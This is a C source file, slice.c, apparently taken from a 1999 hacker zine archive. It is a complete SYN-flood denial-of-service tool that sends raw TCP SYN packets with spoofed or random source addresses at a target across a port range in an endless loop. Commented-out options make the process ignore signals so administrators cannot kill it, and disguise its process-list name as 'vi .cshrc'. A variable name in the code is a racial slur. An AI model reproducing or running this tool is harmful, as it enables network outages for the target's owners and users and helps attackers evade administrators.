home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / slice.c < prev    next >
C/C++ Source or Header  |  1999-01-06  |  9KB  |  547 lines

  1. /* slice.c v.1 by sinkhole, basically hacked synk4.c */
  2.  
  3. #include <signal.h>
  4.  
  5. #include <stdio.h>
  6.  
  7. #include <netdb.h>
  8.  
  9. #include <sys/types.h>
  10.  
  11. #include <sys/time.h>
  12.  
  13. #include <netinet/in.h>
  14.  
  15. #include <linux/ip.h>
  16.  
  17. #include <linux/tcp.h>
  18.  
  19. /* These can be handy if you want to run the flooder while the admin is on
  20.  
  21.  * this way, it makes it MUCH harder for him to kill your flooder */
  22.  
  23. /* Ignores all signals except Segfault */
  24.  
  25. // #define HEALTHY
  26.  
  27. /* Ignores Segfault */
  28.  
  29. // #define NOSEGV
  30.  
  31. /* Changes what shows up in ps -aux to whatever this is defined to */
  32.  
  33. // #define HIDDEN "vi .cshrc"
  34.  
  35. /*#define SEQ 0x*/
  36.  
  37. #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
  38.  
  39.  
  40.  
  41. unsigned long send_seq, ack_seq, srcport;
  42.  
  43. char flood = 0;
  44.  
  45. int sock, ssock, curc, cnt;
  46.  
  47.  
  48.  
  49. /* Check Sum */
  50.  
  51. unsigned short
  52.  
  53. ip_sum (addr, len)
  54.  
  55. u_short *addr;
  56.  
  57. int len;
  58.  
  59. {
  60.  
  61.         register int nleft = len;
  62.  
  63.         register u_short *w = addr;
  64.  
  65.         register int sum = 0;
  66.  
  67.         u_short answer = 0;
  68.  
  69.         
  70.  
  71.         while (nleft > 1)
  72.  
  73.           {
  74.  
  75.                   sum += *w++;
  76.  
  77.                   nleft -= 2;
  78.  
  79.           }
  80.  
  81.         if (nleft == 1)
  82.  
  83.           {
  84.  
  85.                   *(u_char *) (&answer) = *(u_char *) w;
  86.  
  87.                   sum += answer;
  88.  
  89.           }
  90.  
  91.         sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  92.  
  93.         sum += (sum >> 16);           /* add carry */
  94.  
  95.         answer = ~sum;                /* truncate to 16 bits */
  96.  
  97.         return (answer);
  98.  
  99. }
  100.  
  101. void sig_exit(int crap)
  102.  
  103. {
  104.  
  105. #ifndef HEALTHY
  106.  
  107.         printf("HSignal Caught. Exiting Cleanly.\n");
  108.  
  109.         exit(crap);
  110.  
  111. #endif
  112.  
  113. }
  114.  
  115. void sig_segv(int crap)
  116.  
  117. {
  118.  
  119. #ifndef NOSEGV
  120.  
  121.         printf("HSegmentation Violation Caught. Exiting Cleanly.\n");
  122.  
  123.         exit(crap);
  124.  
  125. #endif
  126.  
  127. }
  128.  
  129.  
  130.  
  131. unsigned long getaddr(char *name) {
  132.  
  133.         struct hostent *hep;
  134.  
  135.         
  136.  
  137.         hep=gethostbyname(name);
  138.  
  139.         if(!hep) {
  140.  
  141.                 fprintf(stderr, "Unknown host %s\n", name);
  142.  
  143.                 exit(1);
  144.  
  145.         }
  146.  
  147.         return *(unsigned long *)hep->h_addr;
  148.  
  149. }
  150.  
  151.  
  152.  
  153.  
  154.  
  155. void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
  156.  
  157.         char buf[65536];
  158.  
  159.         struct {  /* rfc 793 tcp pseudo-header */
  160.  
  161.                 unsigned long saddr, daddr;
  162.  
  163.                 char mbz;
  164.  
  165.                 char ptcl;
  166.  
  167.                 unsigned short tcpl;
  168.  
  169.         } ph;
  170.  
  171.         
  172.  
  173.         struct sockaddr_in sin; /* how necessary is this, given that the destination
  174.  
  175.                                  address is already in the ip header? */
  176.  
  177.         
  178.  
  179.         ph.saddr=ih->saddr;
  180.  
  181.         ph.daddr=ih->daddr;
  182.  
  183.         ph.mbz=0;
  184.  
  185.         ph.ptcl=IPPROTO_TCP;
  186.  
  187.         ph.tcpl=htons(sizeof(*th)+dlen);
  188.  
  189.         
  190.  
  191.         memcpy(buf, &ph, sizeof(ph));
  192.  
  193.         memcpy(buf+sizeof(ph), th, sizeof(*th));
  194.  
  195.         memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
  196.  
  197.         memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
  198.  
  199.         th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
  200.  
  201.         
  202.  
  203.         memcpy(buf, ih, 4*ih->ihl);
  204.  
  205.         memcpy(buf+4*ih->ihl, th, sizeof(*th));
  206.  
  207.         memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
  208.  
  209.         memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
  210.  
  211.         
  212.  
  213.         ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
  214.  
  215.         memcpy(buf, ih, 4*ih->ihl);
  216.  
  217.         
  218.  
  219.         sin.sin_family=AF_INET;
  220.  
  221.         sin.sin_port=th->dest;
  222.  
  223.         sin.sin_addr.s_addr=ih->daddr;
  224.  
  225.         
  226.  
  227.         if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
  228.  
  229.                 printf("Error sending syn packet.\n"); perror("");
  230.  
  231.                 exit(1);
  232.  
  233.         }
  234.  
  235. }
  236.  
  237.  
  238.  
  239. unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
  240.  
  241.         int i, s, c, nignog;
  242.  
  243.         struct iphdr ih;
  244.  
  245.         struct tcphdr th;
  246.  
  247.         struct sockaddr_in sin;
  248.  
  249.         int sinsize;
  250.  
  251.         unsigned short myport=6969;
  252.  
  253.         char buf[1];
  254.  
  255.         struct timeval tv;
  256.  
  257.         srandom(time(NULL));
  258.  
  259.         ih.version=4;
  260.  
  261.         ih.ihl=5;
  262.  
  263.         ih.tos=0;                       /* XXX is this normal? */
  264.  
  265.         ih.tot_len=sizeof(ih)+sizeof(th);
  266.  
  267.         ih.id=htons(random());
  268.  
  269.         ih.frag_off=0;
  270.  
  271.         ih.ttl=255;
  272.  
  273.         ih.protocol=IPPROTO_TCP;
  274.  
  275.         ih.check=0;
  276.  
  277.         ih.saddr=my_ip;
  278.  
  279.         ih.daddr=their_ip;
  280.  
  281.         th.source=htons(srcport);
  282.  
  283.         th.dest=htons(port);
  284.  
  285.         th.seq=htonl(random());
  286.  
  287.         th.doff=sizeof(th)/4;
  288.  
  289.         th.ack_seq=(random());
  290.  
  291.         th.res1=0;
  292.  
  293.         th.fin=0;
  294.  
  295.         th.syn=1;
  296.  
  297.         th.rst=0;
  298.  
  299.         th.psh=0;
  300.  
  301.         th.ack=0;
  302.  
  303.         th.urg=0;
  304.  
  305.         th.res2=0;
  306.  
  307.         th.window=htons(65534);
  308.  
  309.         th.check=0;
  310.  
  311.         th.urg_ptr=(random());              
  312.  
  313.         gettimeofday(&tv, 0);
  314.  
  315.         
  316.  
  317.         send_tcp_segment(&ih, &th, "", 0); 
  318.  
  319.         
  320.  
  321.         send_seq = th.seq+1+strlen(buf);
  322.  
  323. }
  324.  
  325. void init_signals()
  326.  
  327. {
  328.  
  329.         // Every Signal known to man. If one gives you an error, comment it out!
  330.  
  331.         signal(SIGHUP, sig_exit);
  332.  
  333.         signal(SIGINT, sig_exit);
  334.  
  335.         signal(SIGQUIT, sig_exit);
  336.  
  337.         signal(SIGILL, sig_exit);
  338.  
  339.         signal(SIGTRAP, sig_exit);
  340.  
  341.         signal(SIGIOT, sig_exit);
  342.  
  343.         signal(SIGBUS, sig_exit);
  344.  
  345.         signal(SIGFPE, sig_exit);
  346.  
  347.         signal(SIGKILL, sig_exit);
  348.  
  349.         signal(SIGUSR1, sig_exit);
  350.  
  351.         signal(SIGSEGV, sig_segv);
  352.  
  353.         signal(SIGUSR2, sig_exit);
  354.  
  355.         signal(SIGPIPE, sig_exit);
  356.  
  357.         signal(SIGALRM, sig_exit);
  358.  
  359.         signal(SIGTERM, sig_exit);
  360.  
  361.         signal(SIGCHLD, sig_exit);
  362.  
  363.         signal(SIGCONT, sig_exit);
  364.  
  365.         signal(SIGSTOP, sig_exit);
  366.  
  367.         signal(SIGTSTP, sig_exit);
  368.  
  369.         signal(SIGTTIN, sig_exit);
  370.  
  371.         signal(SIGTTOU, sig_exit);
  372.  
  373.         signal(SIGURG, sig_exit);
  374.  
  375.         signal(SIGXCPU, sig_exit);
  376.  
  377.         signal(SIGXFSZ, sig_exit);
  378.  
  379.         signal(SIGVTALRM, sig_exit);
  380.  
  381.         signal(SIGPROF, sig_exit);
  382.  
  383.         signal(SIGWINCH, sig_exit);
  384.  
  385.         signal(SIGIO, sig_exit);
  386.  
  387.         signal(SIGPWR, sig_exit);
  388.  
  389. }
  390.  
  391. main(int argc, char **argv) {
  392.  
  393.    int i, x, max, floodloop, diff, urip, a, b, c, d, clones, klone;
  394.  
  395.    unsigned long them, me_fake;
  396.  
  397.    unsigned lowport, highport;
  398.  
  399.    char buf[1024], *junk;
  400.  
  401.    
  402.  
  403.    init_signals();   
  404.  
  405. #ifdef HIDDEN
  406.  
  407.    for (i = argc-1; i >= 0; i--)
  408.  
  409.      /* Some people like bzero...i prefer memset :) */
  410.  
  411.      memset(argv[i], 0, strlen(argv[i]));
  412.  
  413.    strcpy(argv[0], HIDDEN);
  414.  
  415. #endif
  416.  
  417.    
  418.  
  419.    if((argc<6) || (atoi(argv[5]) <= 0)) {
  420.  
  421.       printf("### slice.c v.1 by sinkhole ###\n");
  422.  
  423.       printf("Usage: %s srcaddr dstaddr low high clones\n", argv[0]);
  424.  
  425.       printf("     srcaddr - the spoof, if it is 0 it will be random\n");
  426.  
  427.       printf("     dstaddr - the target of the attack\n");
  428.  
  429.       printf("     low     - start port, ex: 1\n");
  430.  
  431.       printf("     high    - end port, ex: 65535\n");
  432.  
  433.       printf("     clones  - number of packets to send at once\n\n");
  434.  
  435.       printf("### Remember, image is nothing, bandwidth is everything! ###\n");
  436.  
  437.       exit(1);
  438.  
  439.    }
  440.  
  441.    if( atoi(argv[1]) == 0 )
  442.  
  443.      urip = 1;
  444.  
  445.    else    
  446.  
  447.      me_fake=getaddr(argv[1]);
  448.  
  449.    them=getaddr(argv[2]);
  450.  
  451.    lowport=atoi(argv[3]);
  452.  
  453.    highport=atoi(argv[4]);
  454.  
  455.    clones=atoi(argv[5]);
  456.  
  457.    srandom(time(0));
  458.  
  459.    ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  460.  
  461.    if(ssock<0) {
  462.  
  463.       perror("socket (raw)");
  464.  
  465.       exit(1);
  466.  
  467.    }
  468.  
  469.    sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  470.  
  471.    if(sock<0) {
  472.  
  473.       perror("socket");
  474.  
  475.       exit(1);
  476.  
  477.    }
  478.  
  479.    junk = (char *)malloc(1024);
  480.  
  481.    max = 1500;
  482.  
  483.    i = 1;
  484.  
  485.    diff = (highport - lowport);
  486.  
  487.    
  488.  
  489.    if (diff > -1) 
  490.  
  491.      {
  492.  
  493.         for (i=1;i>0;i++)
  494.  
  495.           {
  496.  
  497.              srandom((time(0)+i));
  498.  
  499.              srcport = getrandom(1, max)+1000;
  500.  
  501.              for (x=lowport;x<=highport;x++) 
  502.  
  503.                {
  504.  
  505.                   if ( urip == 1 )
  506.  
  507.                     {
  508.  
  509.                        a = getrandom(0, 255);
  510.  
  511.                        b = getrandom(0, 255);
  512.  
  513.                        c = getrandom(0, 255);
  514.  
  515.                        d = getrandom(0, 255);
  516.  
  517.                        sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
  518.  
  519.                        me_fake = getaddr(junk);
  520.  
  521.                     }
  522.  
  523.                   for (klone=1;klone<=clones;klone++)
  524.  
  525.                     {
  526.  
  527.                         spoof_open(me_fake, them, x);
  528.  
  529.                     }
  530.  
  531.                }
  532.  
  533.           }
  534.  
  535.      }
  536.  
  537.    else {
  538.  
  539.       printf("High port must be greater than Low port.\n");
  540.  
  541.       exit(1);
  542.  
  543.    }
  544.  
  545. }
  546.  
  547.